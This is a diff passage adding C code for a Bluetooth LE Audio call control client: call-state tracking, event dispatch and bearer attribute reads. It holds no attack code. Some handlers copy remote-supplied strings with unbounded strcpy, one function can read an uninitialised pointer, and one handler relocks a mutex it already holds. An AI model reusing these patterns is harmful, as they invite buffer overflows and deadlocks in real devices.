bt_list_find(g_ccp_service.lea_calls, lea_ccp_call_cmp_index, &call_index); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + return ccp_call; +} + +lea_tbs_call_state_t* lea_ccp_find_call_by_state(uint8_t call_state) +{ + lea_tbs_call_state_t* ccp_call; + + pthread_mutex_lock(&g_ccp_service.ccp_lock); + ccp_call = bt_list_find(g_ccp_service.lea_calls, lea_ccp_call_cmp_state, &call_state); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + return ccp_call; +} + +static bool lea_ccp_find_call_index(uint8_t opcode, uint8_t* index) +{ + lea_tbs_call_state_t* call_states; + bool valied = false; + + switch (opcode) { + case ADPT_LEA_TBS_CALL_CONTROL_ACCEPT: { + call_states = lea_ccp_find_call_by_state(ADPT_LEA_TBS_CALL_STATE_INCOMING); + + break; + } + case ADPT_LEA_TBS_CALL_CONTROL_TERMINATE: { + call_states = lea_ccp_find_call_by_state(ADPT_LEA_TBS_CALL_STATE_INCOMING); + if (call_states) + break; + + call_states = lea_ccp_find_call_by_state(ADPT_LEA_TBS_CALL_STATE_LOCALLY_HELD); + if (call_states) + break; + + call_states = lea_ccp_find_call_by_state(ADPT_LEA_TBS_CALL_STATE_ACTIVE); + if (call_states) + break; + + call_states = lea_ccp_find_call_by_state(ADPT_LEA_TBS_CALL_STATE_ALERTING); + + break; + } + case ADPT_LEA_TBS_CALL_CONTROL_LOCAL_HOLD: { + call_states = lea_ccp_find_call_by_state(ADPT_LEA_TBS_CALL_STATE_ACTIVE); + + break; + } + case ADPT_LEA_TBS_CALL_CONTROL_LOCAL_RETRIEVE: { + call_states = lea_ccp_find_call_by_state(ADPT_LEA_TBS_CALL_STATE_LOCALLY_HELD); + + break; + } + default: { + break; + } + } + + if (call_states) { + valied = true; + *index = call_states->index; + } + + return valied; +} + +lea_tbs_call_state_t* lea_ccp_add_call(lea_tbs_call_state_t* call) +{ + lea_tbs_call_state_t* ccp_call; + + ccp_call = malloc(sizeof(lea_tbs_call_state_t)); + if (!ccp_call) { + BT_LOGE("error, malloc %s", __func__); + return NULL; + } + memcpy(ccp_call, call, sizeof(lea_tbs_call_state_t)); + + pthread_mutex_lock(&g_ccp_service.ccp_lock); + bt_list_add_tail(g_ccp_service.lea_calls, ccp_call); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + return ccp_call; +} + +static void lea_ccp_call_delete(lea_tbs_call_state_t* ccp_call) +{ + if (!ccp_call) + return; + free(ccp_call); +} + +/**************************************************************************** + * Private Functions + ****************************************************************************/ + +static void lea_ccp_process_debug(lea_ccp_msg_t* msg) +{ + switch (msg->event) { + case STACK_EVENT_READ_PROVIDER_NAME: { + BT_LOGD("%s, event:%d, tbs_id:%d, provider_name:%s", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.dataarry); + break; + } + case STACK_EVENT_READ_UCI: { + BT_LOGD("%s, event:%d, tbs_id:%d, uci:%s", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.dataarry); + break; + } + case STACK_EVENT_READ_TECHNOLOGY: { + BT_LOGD("%s, event:%d, tbs_id:%d, technology:%d", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.valueint8_0); + break; + } + case STACK_EVENT_READ_URI_SCHEMES_SUPPORT_LIST: { + BT_LOGD("%s, event:%d, tbs_id:%d, uri_schemes:%s", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.dataarry); + break; + } + case STACK_EVENT_READ_SIGNAL_STRENGTH: { + BT_LOGD("%s, event:%d, tbs_id:%d, strength:%d", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.valueint8_0); + break; + } + case STACK_EVENT_READ_SIGNAL_STRENGTH_REPORT_INTERVAL: { + BT_LOGD("%s, event:%d, tbs_id:%d, interval:%d", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.valueint8_0); + break; + } + case STACK_EVENT_READ_CONTENT_CONTROL_ID: { + BT_LOGD("%s, event:%d, tbs_id:%d, ccid:%d", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.valueint8_0); + break; + } + case STACK_EVENT_READ_STATUS_FLAGS: { + BT_LOGD("%s, event:%d, tbs_id:%d, status_flags:%d", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.valueint16); + break; + } + case STACK_EVENT_READ_CALL_CONTROL_OPTIONAL_OPCODES: { + BT_LOGD("%s, event:%d, tbs_id:%d, option_opcode:%d", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.valueint16); + break; + } + case STACK_EVENT_READ_INCOMING_CALL: { + BT_LOGD("%s, event:%d, tbs_id:%d, uri:%s", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.dataarry); + break; + } + case STACK_EVENT_READ_INCOMING_CALL_TARGET_BEARER_URI: { + BT_LOGD("%s, event:%d, tbs_id:%d, uri:%s", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.dataarry); + break; + } + case STACK_EVENT_READ_CALL_STATE: { + lea_tbs_call_state_t* call_states; + call_states = (lea_tbs_call_state_t*)msg->event_data.dataarry; + BT_LOGD("%s, event:%d, tbs_id:%d, number:%d", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.valueint32); + for (int i = 0; i < msg->event_data.valueint32; i++) { + BT_LOGD("index:%d, state:%d, flags:%d", + (call_states + i)->index, + (call_states + i)->state, + (call_states + i)->flags); + } + break; + } + + case STACK_EVENT_READ_BEARER_LIST_CURRENT_CALL: { + lea_tbs_call_list_item_t* calls; + calls = (lea_tbs_call_list_item_t*)msg->event_data.dataarry; + void* p = calls; + BT_LOGD("%s, event:%d, tbs_id:%d, number:%d", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.valueint32); + for (int i = 0; i < msg->event_data.valueint32; i++) { + BT_LOGD("index:%d, state:%d, flags:%d, uri:%s", + calls->index, calls->state, + calls->flags, calls->call_uri); + p += sizeof(lea_tbs_call_list_item_t) + strlen(calls->call_uri) + 1; + calls = p; + } + break; + } + + case STACK_EVENT_READ_CALL_FRIENDLY_NAME: { + BT_LOGD("%s, event:%d, tbs_id:%d, call_index:%d, name:%s", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.valueint8_0, + msg->event_data.dataarry); + break; + } + + case STACK_EVENT_TERMINATION_REASON: { + BT_LOGD("%s, event:%d, tbs_id:%d, call_index:%d, reason:%d", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.valueint8_0, + msg->event_data.valueint8_1); + break; + } + + case STACK_EVENT_CALL_CONTROL_RESULT: { + BT_LOGD("%s, event:%d, tbs_id:%d, opcode:%d, call_index:%d, result:%d", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.valueint8_0, + msg->event_data.valueint8_1, msg->event_data.valueint8_2); + break; + } + } +} + +static void lea_ccp_process_message(void* data) +{ + lea_ccp_service_t* service = &g_ccp_service; + lea_ccp_msg_t* msg = (lea_ccp_msg_t*)data; + + lea_ccp_process_debug(msg); + + switch (msg->event) { + case STACK_EVENT_READ_PROVIDER_NAME: { + pthread_mutex_lock(&g_ccp_service.ccp_lock); + service->info->tbs_id = msg->event_data.tbs_id; + strcpy(service->info->provider_name, (char*)msg->event_data.dataarry); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + CCP_CALLBACK_FOREACH(g_ccp_service.callbacks, test_cb, &msg->remote_addr); + break; + } + + case STACK_EVENT_READ_UCI: { + pthread_mutex_lock(&g_ccp_service.ccp_lock); + service->info->tbs_id = msg->event_data.tbs_id; + strcpy(service->info->uci, (char*)msg->event_data.dataarry); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + CCP_CALLBACK_FOREACH(g_ccp_service.callbacks, test_cb, &msg->remote_addr); + break; + } + + case STACK_EVENT_READ_TECHNOLOGY: { + pthread_mutex_lock(&g_ccp_service.ccp_lock); + service->info->tbs_id = msg->event_data.tbs_id; + service->info->technology = msg->event_data.valueint8_0; + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + CCP_CALLBACK_FOREACH(g_ccp_service.callbacks, test_cb, &msg->remote_addr); + break; + } + + case STACK_EVENT_READ_URI_SCHEMES_SUPPORT_LIST: { + pthread_mutex_lock(&g_ccp_service.ccp_lock); + service->info->tbs_id = msg->event_data.tbs_id; + strcpy(service->info->uri_schemes, (char*)msg->event_data.dataarry); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + CCP_CALLBACK_FOREACH(g_ccp_service.callbacks, test_cb, &msg->remote_addr); + break; + } + + case STACK_EVENT_READ_SIGNAL_STRENGTH: { + pthread_mutex_lock(&g_ccp_service.ccp_lock); + service->info->tbs_id = msg->event_data.tbs_id; + service->info->strength = msg->event_data.valueint8_0; + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + CCP_CALLBACK_FOREACH(g_ccp_service.callbacks, test_cb, &msg->remote_addr); + break; + } + + case STACK_EVENT_READ_SIGNAL_STRENGTH_REPORT_INTERVAL: { + pthread_mutex_lock(&g_ccp_service.ccp_lock); + service->info->tbs_id = msg->event_data.tbs_id; + service->info->interval = msg->event_data.valueint8_0; + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + CCP_CALLBACK_FOREACH(g_ccp_service.callbacks, test_cb, &msg->remote_addr); + break; + } + + case STACK_EVENT_READ_CONTENT_CONTROL_ID: { + pthread_mutex_lock(&g_ccp_service.ccp_lock); + service->info->tbs_id = msg->event_data.tbs_id; + service->info->ccid = msg->event_data.valueint8_0; + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + CCP_CALLBACK_FOREACH(g_ccp_service.callbacks, test_cb, &msg->remote_addr); + break; + } + + case STACK_EVENT_READ_STATUS_FLAGS: { + pthread_mutex_lock(&g_ccp_service.ccp_lock); + service->info->tbs_id = msg->event_data.tbs_id; + service->info->status_flags = msg->event_data.valueint16; + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + CCP_CALLBACK_FOREACH(g_ccp_service.callbacks, test_cb, &msg->remote_addr); + break; + } + + case STACK_EVENT_READ_CALL_CONTROL_OPTIONAL_OPCODES: { + pthread_mutex_lock(&g_ccp_service.ccp_lock); + service->info->tbs_id = msg->event_data.tbs_id; + service->info->opcodes = msg->event_data.valueint16; + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + CCP_CALLBACK_FOREACH(g_ccp_service.callbacks, test_cb, &msg->remote_addr); + break; + } + + case STACK_EVENT_READ_INCOMING_CALL: { + pthread_mutex_lock(&g_ccp_service.ccp_lock); + service->info->tbs_id = msg->event_data.tbs_id; + service->info->call_index = msg->event_data.valueint8_0; + strcpy(service->info->uri, (char*)msg->event_data.dataarry); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + CCP_CALLBACK_FOREACH(g_ccp_service.callbacks, test_cb, &msg->remote_addr); + break; + } + + case STACK_EVENT_READ_INCOMING_CALL_TARGET_BEARER_URI: { + pthread_mutex_lock(&g_ccp_service.ccp_lock); + service->info->tbs_id = msg->event_data.tbs_id; + service->info->call_index = msg->event_data.valueint8_0; + strcpy(service->info->uri, (char*)msg->event_data.dataarry); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + CCP_CALLBACK_FOREACH(g_ccp_service.callbacks, test_cb, &msg->remote_addr); + break; + } + + case STACK_EVENT_READ_CALL_STATE: { + lea_tbs_call_state_t* call_states; + lea_tbs_call_state_t* ccp_call; + call_states = (lea_tbs_call_state_t*)msg->event_data.dataarry; + + pthread_mutex_lock(&g_ccp_service.ccp_lock); + service->info->tbs_id = msg->event_data.tbs_id; + for (int i = 0; i < msg->event_data.valueint32; i++) { + ccp_call = lea_ccp_find_call_by_index((call_states + i)->index); + if (!ccp_call) { + lea_ccp_add_call(call_states + i); + } else { + memcpy(ccp_call, call_states + i, sizeof(lea_tbs_call_state_t)); + } + } + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + CCP_CALLBACK_FOREACH(g_ccp_service.callbacks, test_cb, &msg->remote_addr); + break; + } + + case STACK_EVENT_READ_BEARER_LIST_CURRENT_CALL: { + pthread_mutex_lock(&g_ccp_service.ccp_lock); + service->info->tbs_id = msg->event_data.tbs_id; + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + CCP_CALLBACK_FOREACH(g_ccp_service.callbacks, test_cb, &msg->remote_addr); + break; + } + + case STACK_EVENT_READ_CALL_FRIENDLY_NAME: { + pthread_mutex_lock(&g_ccp_service.ccp_lock); + service->info->tbs_id = msg->event_data.tbs_id; + service->info->call_index = msg->event_data.valueint8_0; + strcpy(service->info->friendly_name, (char*)msg->event_data.dataarry); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + CCP_CALLBACK_FOREACH(g_ccp_service.callbacks, test_cb, &msg->remote_addr); + break; + } + + case STACK_EVENT_TERMINATION_REASON: { + pthread_mutex_lock(&g_ccp_service.ccp_lock); + service->info->tbs_id = msg->event_data.tbs_id; + service->info->call_index = msg->event_data.valueint8_0; + bt_list_remove(g_ccp_service.lea_calls, lea_ccp_find_call_by_index(msg->event_data.valueint8_0)); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + CCP_CALLBACK_FOREACH(g_ccp_service.callbacks, test_cb, &msg->remote_addr); + break; + } + + case STACK_EVENT_CALL_CONTROL_RESULT: { + pthread_mutex_lock(&g_ccp_service.ccp_lock); + service->info->tbs_id = msg->event_data.tbs_id; + service->info->call_index = msg->event_data.valueint8_1; + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + CCP_CALLBACK_FOREACH(g_ccp_service.callbacks, test_cb, &msg->remote_addr); + break; + } + + default: { + BT_LOGE("Idle: Unexpected stack event"); + break; + } + } + lea_ccp_msg_destory(msg); +} + +static bt_status_t lea_ccp_send_msg(lea_ccp_msg_t* msg) +{ + assert(msg); + + do_in_service_loop(lea_ccp_process_message, msg); + + return BT_STATUS_SUCCESS; +} + +/**************************************************************************** + * sal callbacks + ****************************************************************************/ +void lea_ccp_on_bearer_provider_name(bt_address_t* addr, uint32_t tbs_id, size_t size, + const char* name) +{ + lea_ccp_msg_t* msg; + + msg = lea_ccp_msg_new_ext(STACK_EVENT_READ_PROVIDER_NAME, addr, tbs_id, size); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + strcpy((char*)msg->event_data.dataarry, name); + + lea_ccp_send_msg(msg); +} + +void lea_ccp_on_bearer_uci(bt_address_t* addr, uint32_t tbs_id, size_t size, const char* uci) +{ + lea_ccp_msg_t* msg; + + msg = lea_ccp_msg_new_ext(STACK_EVENT_READ_UCI, addr, tbs_id, size); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + strcpy((char*)msg->event_data.dataarry, uci); + + lea_ccp_send_msg(msg); +} + +void lea_ccp_on_bearer_technology(bt_address_t* addr, uint32_t tbs_id, uint8_t technology) +{ + lea_ccp_msg_t* msg; + + msg = lea_ccp_msg_new(STACK_EVENT_READ_TECHNOLOGY, addr, tbs_id); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + msg->event_data.valueint8_0 = technology; + + lea_ccp_send_msg(msg); +} + +void lea_ccp_on_bearer_uri_schemes_supported_list(bt_address_t* addr, uint32_t tbs_id, size_t size, + const char* uri_schemes) +{ + lea_ccp_msg_t* msg; + + msg = lea_ccp_msg_new_ext(STACK_EVENT_READ_URI_SCHEMES_SUPPORT_LIST, addr, tbs_id, size); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + strcpy((char*)msg->event_data.dataarry, uri_schemes); + + lea_ccp_send_msg(msg); +} + +void lea_ccp_on_bearer_signal_strength(bt_address_t* addr, uint32_t tbs_id, uint8_t strength) +{ + lea_ccp_msg_t* msg; + + msg = lea_ccp_msg_new(STACK_EVENT_READ_SIGNAL_STRENGTH, addr, tbs_id); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + msg->event_data.valueint8_0 = strength; + + lea_ccp_send_msg(msg); +} + +void lea_ccp_on_bearer_signal_strength_report_interval(bt_address_t* addr, uint32_t tbs_id, + uint8_t interval) +{ + lea_ccp_msg_t* msg; + + msg = lea_ccp_msg_new(STACK_EVENT_READ_SIGNAL_STRENGTH_REPORT_INTERVAL, addr, tbs_id); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + msg->event_data.valueint8_0 = interval; + + lea_ccp_send_msg(msg); +} + +void lea_ccp_on_content_control_id(bt_address_t* addr, uint32_t tbs_id, uint8_t ccid) +{ + lea_ccp_msg_t* msg; + + msg = lea_ccp_msg_new(STACK_EVENT_READ_CONTENT_CONTROL_ID, addr, tbs_id); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + msg->event_data.valueint8_0 = ccid; + + lea_ccp_send_msg(msg); +} + +void lea_ccp_on_status_flags(bt_address_t* addr, uint32_t tbs_id, uint16_t status_flags) +{ + lea_ccp_msg_t* msg; + + msg = lea_ccp_msg_new(STACK_EVENT_READ_STATUS_FLAGS, addr, tbs_id); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + msg->event_data.valueint16 = status_flags; + + lea_ccp_send_msg(msg); +} + +void lea_ccp_on_call_control_optional_opcodes(bt_address_t* addr, uint32_t tbs_id, + uint16_t opcodes) +{ + lea_ccp_msg_t* msg; + + msg = lea_ccp_msg_new(STACK_EVENT_READ_CALL_CONTROL_OPTIONAL_OPCODES, addr, tbs_id); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + msg->event_data.valueint16 = opcodes; + + lea_ccp_send_msg(msg); +} + +void lea_ccp_on_incoming_call(bt_address_t* addr, uint32_t tbs_id, uint8_t call_index, size_t size, + const char* uri) +{ + lea_ccp_msg_t* msg; + + msg = lea_ccp_msg_new_ext(STACK_EVENT_READ_INCOMING_CALL, addr, tbs_id, size); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + msg->event_data.valueint8_0 = call_index; + strcpy((char*)msg->event_data.dataarry, uri); + + lea_ccp_send_msg(msg); +} + +void lea_ccp_on_incoming_call_target_bearer_uri(bt_address_t* addr, uint32_t tbs_id, uint8_t call_index, + size_t size, const char* uri) +{ + lea_ccp_msg_t* msg; + + msg = lea_ccp_msg_new_ext(STACK_EVENT_READ_INCOMING_CALL_TARGET_BEARER_URI, addr, tbs_id, size); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + msg->event_data.valueint8_0 = call_index; + strcpy((char*)msg->event_data.dataarry, uri); + + lea_ccp_send_msg(msg); +} + +void lea_ccp_on_call_state(bt_address_t* addr, uint32_t tbs_id, uint32_t number, + lea_tbs_call_state_t* states_s) +{ + lea_ccp_msg_t* msg; + + if (number < 1) { + BT_LOGW("%s ,the number of call state is zero!", __func__); + return; + } + + msg = lea_ccp_msg_new_ext(STACK_EVENT_READ_CALL_STATE, addr, tbs_id, + sizeof(lea_tbs_call_state_t) * number); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + msg->event_data.valueint32 = number; + memcpy(&msg->event_data.dataarry, states_s, sizeof(lea_tbs_call_state_t) * number); + + lea_ccp_send_msg(msg); +} + +void lea_ccp_on_bearer_list_current_calls(bt_address_t* addr, uint32_t tbs_id, uint32_t number, size_t size, + lea_tbs_call_list_item_t* calls) +{ + lea_ccp_msg_t* msg; + + if (number < 1) { + BT_LOGW("%s ,the number of bearer list current call is zero!", __func__); + return; + } + + msg = lea_ccp_msg_new_ext(STACK_EVENT_READ_BEARER_LIST_CURRENT_CALL, addr, tbs_id, size); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + msg->event_data.valueint32 = number; + memcpy(&msg->event_data.dataarry, calls, size); + + lea_ccp_send_msg(msg); +} + +void lea_ccp_on_call_friendly_name(bt_address_t* addr, uint32_t tbs_id, uint8_t call_index, size_t size, + const char* name) +{ + lea_ccp_msg_t* msg; + + msg = lea_ccp_msg_new_ext(STACK_EVENT_READ_CALL_FRIENDLY_NAME, addr, tbs_id, size); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + msg->event_data.valueint8_0 = call_index; + strcpy((char*)msg->event_data.dataarry, name); + + lea_ccp_send_msg(msg); +} + +void lea_ccp_on_termination_reason(bt_address_t* addr, uint32_t tbs_id, uint8_t call_index, + lea_adpt_termination_reason_t reason) +{ + lea_ccp_msg_t* msg; + + msg = lea_ccp_msg_new(STACK_EVENT_TERMINATION_REASON, addr, tbs_id); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + msg->event_data.valueint8_0 = call_index; + msg->event_data.valueint8_1 = reason; + + lea_ccp_send_msg(msg); +} + +void lea_ccp_on_call_control_result(bt_address_t* addr, uint32_t tbs_id, uint8_t opcode, + uint8_t call_index, lea_adpt_call_control_result_t result) +{ + lea_ccp_msg_t* msg; + + msg = lea_ccp_msg_new(STACK_EVENT_CALL_CONTROL_RESULT, addr, tbs_id); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + msg->event_data.valueint8_0 = opcode; + msg->event_data.valueint8_1 = call_index; + msg->event_data.valueint8_2 = result; + + lea_ccp_send_msg(msg); +} + +/**************************************************************************** + * Private Data + ****************************************************************************/ +static bt_status_t bts_lea_ccp_read_bearer_provider_name(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + lea_ccp_service_t* service = &g_ccp_service; + + pthread_mutex_lock(&g_ccp_service.ccp_lock); + if (!service->tbs_info.num) { + BT_LOGE("%s, tbs num is unexpected", __func__); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + ret = bt_sal_lea_tbc_read_bearer_provider_name(addr, service->tbs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_lea_ccp_read_bearer_uci(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + lea_ccp_service_t* service = &g_ccp_service; + + pthread_mutex_lock(&g_ccp_service.ccp_lock); + if (!service->tbs_info.num) { + BT_LOGE("%s, tbs num is unexpected", __func__); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + ret = bt_sal_lea_tbc_read_bearer_uci(addr, service->tbs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_lea_ccp_read_bearer_technology(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + lea_ccp_service_t* service = &g_ccp_service; + + pthread_mutex_lock(&g_ccp_service.ccp_lock); + if (!service->tbs_info.num) { + BT_LOGE("%s, tbs num is unexpected", __func__); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + ret = bt_sal_lea_tbc_read_bearer_technology(addr, service->tbs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_lea_ccp_read_bearer_uri_schemes_supported_list(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + lea_ccp_service_t* service = &g_ccp_service; + + pthread_mutex_lock(&g_ccp_service.ccp_lock); + if (!service->tbs_info.num) { + BT_LOGE("%s, tbs num is unexpected", __func__); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + ret = bt_sal_lea_tbc_read_bearer_uri_schemes_supported_list(addr, service->tbs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_lea_ccp_read_bearer_signal_strength(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + lea_ccp_service_t* service = &g_ccp_service; + + pthread_mutex_lock(&g_ccp_service.ccp_lock); + if (!service->tbs_info.num) { + BT_LOGE("%s, tbs num is unexpected", __func__); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + ret = bt_sal_lea_tbc_read_bearer_signal_strength(addr, service->tbs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_lea_ccp_read_bearer_signal_strength_report_interval(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + lea_ccp_service_t* service = &g_ccp_service; + + pthread_mutex_lock(&g_ccp_service.ccp_lock); + if (!service->tbs_info.num) { + BT_LOGE("%s, tbs num is unexpected", __func__); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + ret = bt_sal_lea_tbc_read_bearer_signal_strength_report_interval(addr, service->tbs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_lea_ccp_read_content_control_id(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + lea_ccp_service_t* service = &g_ccp_service; + + pthread_mutex_lock(&g_ccp_service.ccp_lock); + if (!service->tbs_info.num) { + BT_LOGE("%s, tbs num is unexpected", __func__); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + ret = bt_sal_lea_tbc_read_content_control_id(addr, service->tbs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_lea_ccp_read_status_flags(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + lea_ccp_service_t* service = &g_ccp_service; + + pthread_mutex_lock(&g_ccp_service.ccp_lock); + if (!service->tbs_info.num) { + BT_LOGE("%s, tbs num is unexpected", __func__); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + ret = bt_sal_lea_tbc_read_status_flags(addr, service->tbs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_lea_ccp_read_call_control_optional_opcodes(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + lea_ccp_service_t* service = &g_ccp_service; + + pthread_mutex_lock(&g_ccp_service.ccp_lock); + if (!service->tbs_info.num) { + BT_LOGE("%s, tbs num is unexpected", __func__); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + ret = bt_sal_lea_tbc_read_call_control_optional_opcodes(addr, service->tbs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_lea_ccp_read_incoming_call(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + lea_ccp_service_t* service = &g_ccp_service; + + pthread_mutex_lock(&g_ccp_service.ccp_lock); + if (!service->tbs_info.num) { + BT_LOGE("%s, tbs num is unexpected", __func__); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + ret = bt_sal_lea_tbc_read_incoming_call(addr, service->tbs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_lea_ccp_read_incoming_call_target_bearer_uri(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + lea_ccp_service_t* service = &g_ccp_service; + + pthread_mutex_lock(&g_ccp_service.ccp_lock); + if (!service->tbs_info.num) { + BT_LOGE("%s, tbs num is unexpected", __func__); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + ret = bt_sal_lea_tbc_read_incoming_call_target_bearer_uri(addr, service->tbs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t 